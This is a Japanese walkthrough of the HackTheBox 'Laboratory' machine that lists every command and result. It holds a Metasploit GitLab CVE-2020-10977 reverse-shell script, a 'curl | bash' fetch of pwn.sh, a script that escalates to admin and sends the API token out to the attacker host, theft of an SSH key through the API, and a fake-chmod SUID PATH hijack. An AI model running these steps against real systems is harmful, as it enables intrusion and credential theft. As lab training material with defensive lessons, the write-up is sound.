HackTheBox: Laboratory — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80→443リダイレクト, 443/https
→
22/ssh, 80→443リダイレクト, 443/https
SSL証明書SAN
git.laboratory.htb発見
→
git.laboratory.htb発見
GitLab自己登録
@laboratory.htbドメイン必須
→
@laboratory.htbドメイン必須
CVE-2020-10977
任意ファイル読取+Marshal RCE
→
任意ファイル読取+Marshal RCE
Dockerコンテナ内gitシェル
→
gitlab-rails runner
自己アカウントadmin昇格+APIトークン
→
自己アカウントadmin昇格+APIトークン
GitLab API
dexter/securedocker→id_rsa
→
dexter/securedocker→id_rsa
SSH dexter → user.txt ✓
→
docker-security SUID
PATHハイジャック(偽chmod)
→
PATHハイジャック(偽chmod)
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.233 nmap -sV -sC -p 22,80,443 10.129.89.233
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not follow redirect to https://laboratory.htb/ 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: The Laboratory | ssl-cert: Subject: commonName=laboratory.htb | Subject Alternative Name: DNS:git.laboratory.htb
🚨
重要発見: SSL証明書のSAN(Subject Alternative Name)に
git.laboratory.htbという別vhostが記載されている。これが
GitLabインスタンスへの入口であり、本マシンの核心的な攻撃対象。
vhost登録
BASH
echo "10.129.89.233 laboratory.htb git.laboratory.htb" | sudo tee -a /etc/hosts
⚠️
再検証時の落とし穴: 同じKali環境で本マシンを過去に
別インスタンスIPで検証済みの場合、単純な無条件追記や「文字列が存在
する場合のみスキップ」といった実装だと、古いIPへの行が残り続け
新しいターゲットへの名前解決が壊れる(Tabby/Academy HTBで実際に
発見・修正したバグパターン)。本マシンのmixin
(
_lab_ensure_hosts)は既に「同名行を全削除してから
1行追記」という冪等な実装になっていたため、本検証では問題なし
だった。
GitLabインスタンスの確認
BASH
curl -sk https://git.laboratory.htb/users/sign_in | grep -i title
RESULT
<title>Sign in · GitLab</title> <meta content="GitLab Community Edition" property="og:description">
ℹ️
HTB環境特有の注意点: GitLab CE(Omnibus版)は内部で
Puma/Workhorse/Sidekiq等複数のプロセスを起動するため、インスタンスの
起動直後はバックエンドが完全に立ち上がっておらず、GitLab自身の
nginxが
502 Bad Gateway (GitLab is not responding)を
返すことがある。本検証でも初回インスタンスでこの502が40分以上
解消しなかったため、インスタンスを再デプロイして解決した
(詳細はサマリー参照)。
PHASE 2
GitLab 自己登録(CVE-2020-10977の前提条件)
authenticity_token取得 & 登録
NOTE
CVE-2020-10977(GitLab 12.8.1のオープンリダイレクト+任意ファイル読取)は 認証済みユーザーとしてのアクセスが前提。GitLabはセルフ登録を許可しているが、 メールアドレスのドメインが"laboratory.htb"に限定されている(他ドメインは 登録エラーになる設計)。
BASH
curl -sk -c cookies.txt https://git.laboratory.htb/users/sign_in -o signin.html TOKEN=$(grep -oP 'name="authenticity_token" value="\K[^"]+' signin.html) curl -sk -b cookies.txt -c cookies.txt https://git.laboratory.htb/users \ --data-urlencode "authenticity_token=$TOKEN" \ --data-urlencode "new_user[name]=labpwner1" \ --data-urlencode "new_user[username]=labpwner1" \ --data-urlencode "new_user[email]=labpwner1@laboratory.htb" \ --data-urlencode "new_user[email_confirmation]=labpwner1@laboratory.htb" \ --data-urlencode "new_user[password]=P@ssLabPwn99!"
PHASE 3
CVE-2020-10977 — GitLab 任意ファイル読取 + Marshal デシリアライズ RCE
脆弱性の仕組み & Metasploit実行
NOTE
GitLab 12.8.1には画像プレビュー機能のリダイレクトパラメータを悪用した 任意ファイル読取の脆弱性がある。これを使い、GitLabがRailsの署名付き クッキー(experimentation_subject_id)の暗号化に使うsecrets.ymlの secret_key_baseを読み取る。この鍵が分かれば、Rubyの安全でない Marshalデシリアライズを行う部分へ、任意コードを実行するMarshalオブジェクト を埋め込んだクッキーを署名して送り込むことができる(RCE)。
BASH (Metasploitリソーススクリプト、非対話実行)
msfconsole -q -r lab_exploit.rc
NOTE (lab_exploit.rc の内容)
use exploit/multi/http/gitlab_file_read_rce set RHOSTS 10.129.89.233 set RPORT 443 set SSL true set VHOST git.laboratory.htb set USERNAME labpwner1 set PASSWORD P@ssLabPwn99! set LHOST <Kali IP> set LPORT 4447 set PAYLOAD ruby/shell/reverse_tcp set ExitOnSession false run -j sleep 90 sessions -c "curl -sk http://<Kali IP>:9877/pwn.sh | bash" sleep 180 exit
RESULT (本検証の実際のMSF出力ログより抜粋)
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Command shell session 1 opened (KALI:4447 -> 10.129.89.233:50718) at 2026-10-25 14:16:56 +0900
[*] Running 'curl -sk http://KALI:9877/pwn.sh | bash' on shell session 1
✅
RCE成功! GitLabのDockerコンテナ内で
gitユーザーとしてリバースシェルが確立される。
gitlab-rails runner でAPIトークン作成
NOTE
GitLabコンテナ内のシェルはPumaワーカー等とは別プロセスのため、HTTPリクエスト 経由でGitLabのWeb UIを直接操作するより、同じコンテナ内で使える "gitlab-rails runner"(Railsコンソールをワンライナーで実行するコマンド)を 使い、ActiveRecord経由で直接データベースを操作する方が確実。 自分(labpwner1)をadmin=trueに更新し、API用のPersonal Access Tokenを 作成して外部(Kali)へPOSTで送信する。
BASH (pwn.shの内容、curlで取得後bash実行される)
#!/bin/bash
gitlab-rails runner "
begin
u = User.find_by_username('labpwner1')
u.admin = true
u.save!
t = u.personal_access_tokens.create!(
name: 'api_pwn', scopes: ['api'], expires_at: 1.year.from_now)
system(\"curl -sk --data-binary '#{t.token}' http://KALI:9876/token\")
rescue => e
system(\"curl -sk --data-binary 'ERR:#{e}' http://KALI:9876/token\")
end
" 2>/dev/null
RESULT
[*] Laboratory: API token = HK1EHgsxFUvH...
ℹ️
gitlab-rails runnerはRailsアプリ全体(全モデルのロード、
DB接続初期化等)を起動するため、コマンド自体の実行完了まで
60〜90秒程度かかる。これを待たずにHTTPレシーバーをシャットダウン
するとトークンを受け取れずサイレント失敗するため、十分な待機時間が
必要。
PHASE 4
GitLab API 経由で Dexter の秘密鍵を奪取 & user.txt取得
管理者APIでDexterのプライベートリポジトリを特定
BASH
curl -sk https://git.laboratory.htb/api/v4/users?search=dexter \ -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3"
RESULT (本検証の実際のAPIレスポンスより抜粋)
[{"id":1,"name":"Dexter McPherson","username":"dexter",
"is_admin":true, ...}]
BASH (Dexterのプロジェクト一覧を取得)
curl -sk "https://git.laboratory.htb/api/v4/users/1/projects" \ -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3"
RESULT
[{"id":9,"name":"SecureDocker",
"description":"CONFIDENTIAL - Secure docker configuration for homeserver.
Also some personal stuff, I'll figure that out later.",
"path_with_namespace":"dexter/securedocker", "visibility":"private", ...}]
tree API + blob SHA 経由で id_rsa を取得
BASH (リポジトリツリーを再帰的に取得)
curl -sk "https://git.laboratory.htb/api/v4/projects/9/repository/tree?recursive=true&per_page=100&ref=master" \ -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3"
RESULT
[...,{"id":"56e8673d12842602fa13f84b0486abf7234d1aa1","name":"id_rsa",
"type":"blob","path":"dexter/.ssh/id_rsa","mode":"100644"}, ...]
🚨
重要な実装上の落とし穴: 通常のGitLab REST API
(
/files/<urlencoded-path>/raw)でこのファイルを
直接取得しようとすると、パス中の%2F(エンコード済み
スラッシュ)をフロントのApacheリバースプロキシが正規化してしまい
404になる。これを回避するため、tree APIで取得した
blobのSHAを使い、スラッシュを含まない
/repository/blobs/<sha>/rawエンドポイントから
直接取得する。
BASH
curl -sk "https://git.laboratory.htb/api/v4/projects/9/repository/blobs/56e8673d12842602fa13f84b0486abf7234d1aa1/raw" \ -H "PRIVATE-TOKEN: HK1EHgsxFUvHq7u2sZJ3" > dexter_id_rsa chmod 600 dexter_id_rsa
⚠️
blob rawのレスポンスは末尾改行無しで返ってくるため、そのまま保存すると
sshがlibcrypto errorで鍵を読み込めない。
保存時に末尾へ\nを1つ追加する必要がある。
SSH ログイン & user.txt取得
BASH (本レポート作成時に実際に実行し確認)
ssh -i dexter_id_rsa -o StrictHostKeyChecking=no dexter@10.129.89.233 \ "id; cat /home/dexter/user.txt"
RESULT
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
6e23f9d55a2210a5c34cd0fb969ac08d
user.txt — dexter
6e23f9d55a2210a5c34cd0fb969ac08d
PHASE 5
docker-security SUID バイナリの相対PATH呼び出しハイジャック — root.txt取得
SUIDバイナリの発見
BASH (本レポート作成時に実際に実行し確認)
ssh -i dexter_id_rsa dexter@10.129.89.233 "ls -la /usr/local/bin/docker-security"
RESULT
-rwsr-xr-x 1 root dexter 16720 Aug 28 2020 /usr/local/bin/docker-security
🚨
SUIDビットが設定され、dexterグループに実行権限が付与されている。
この
docker-securityバイナリは内部でsystem("chmod ...")
相当の呼び出しを行っているが、/bin/chmodのような絶対パスでは
なく相対PATH解決(環境変数PATHに依存した検索)で
chmodコマンドを起動している。
偽 chmod の配置 & PATH ハイジャック
BASH (偽chmodスクリプトの内容)
#!/bin/bash cat /root/root.txt > /tmp/.r00t 2>/dev/null /bin/chmod 644 /tmp/.r00t 2>/dev/null /bin/chmod "$@" 2>/dev/null
ℹ️
なぜbashスクリプトでコンパイル済みバイナリではないのか:
Kali(新しいGLIBC)でコンパイルした転送用バイナリは、ターゲットの
古いUbuntu 20.04上で
GLIBC_2.34 not foundのようなエラーで
起動不能になることがある([[feedback_cross_compile_glibc_version_mismatch]]
と同種の問題)。依存ライブラリの無いシェルスクリプトにすることで
この問題を回避している。最後の行で本物の/bin/chmodを
絶対パスで呼び出しているのは、docker-security側の後続処理が
chmodの正常終了を前提にしている場合に備えた保険。
BASH (本レポート作成時に実際に実行し確認)
scp -i dexter_id_rsa fake_chmod.sh dexter@10.129.89.233:/tmp/chmod ssh -i dexter_id_rsa dexter@10.129.89.233 \ "chmod +x /tmp/chmod && export PATH=/tmp:\$PATH && /usr/local/bin/docker-security; sleep 2; cat /tmp/.r00t"
RESULT
ef675d12e559a3bd06616ee460b28d80
✅
root化成功! docker-securityはSUIDでroot権限で
実行されるため、PATHをハイジャックして呼び出された偽chmodも
root権限で走り、
/root/root.txtを読み取って
dexterが読める場所にコピーできる。
root.txt — docker-security SUID PATH hijack
ef675d12e559a3bd06616ee460b28d80
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dexter
6e23f9d55a2210a5c34cd0fb969ac08d
root.txt — docker-security SUID PATH hijack
ef675d12e559a3bd06616ee460b28d80
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2020-10977 | GitLab Community Edition 12.8.1 | 任意ファイル読取 → secret_key_base漏洩 → Marshal RCE | Critical | MSFモジュール exploit/multi/http/gitlab_file_read_rce でDockerコンテナ内gitシェル獲得 |
| プライベートリポジトリへのroot/admin由来アクセス | dexter/securedocker プロジェクト | SSH秘密鍵の漏洩 | High | RCEで得たシェルからgitlab-rails runnerで自己アカウントをadmin昇格しAPI経由で奪取 |
| SUIDバイナリの相対PATH呼び出し | /usr/local/bin/docker-security | 権限昇格 (root) | High | PATH環境変数を操作し偽chmodをroot権限で実行させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, SSL証明書SAN | 22/ssh, 443/https (git.laboratory.htb発見) |
| 2 | 認証前提の準備 | GitLabセルフ登録(@laboratory.htbドメイン) | labpwner1:P@ssLabPwn99! |
| 3 | RCE | CVE-2020-10977 (MSF) | git(Dockerコンテナ内)シェル獲得 |
| 4 | 権限昇格(GitLab内)+横移動 | gitlab-rails runner → admin昇格 → API → tree/blob SHA | user.txt (dexter) |
| 5 | 権限昇格(OS) | docker-security SUID PATHハイジャック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 未パッチの古いGitLab CE(12.8.1)が稼働し、既知の重大CVEに対して脆弱 | GitLabを含む全ソフトウェアを定期的に最新安定版へ更新するパッチ管理プロセスを導入する。 |
| セルフ登録機能が有効なままインターネット(またはHTBネットワーク)に公開されている | 本番用GitLabではセルフ登録を無効化し、管理者による招待制アカウント作成に限定する。 |
| CONFIDENTIALと明記されたプライベートリポジトリにSSH秘密鍵が平文でコミットされている | 秘密鍵・パスワード等の機密情報は絶対にGitリポジトリへコミットしない。シークレット管理サービス(Vault等)を使用する。pre-commitフックでの秘密情報スキャンを導入する。 |
| SUIDバイナリが外部コマンド(chmod)を絶対パスでなく相対PATH解決で呼び出している | SUID/SGIDバイナリが内部で呼び出す外部コマンドは必ず絶対パスで指定し、呼び出し前にPATH環境変数自体をサニタイズ(固定の安全な値に上書き)する。 |

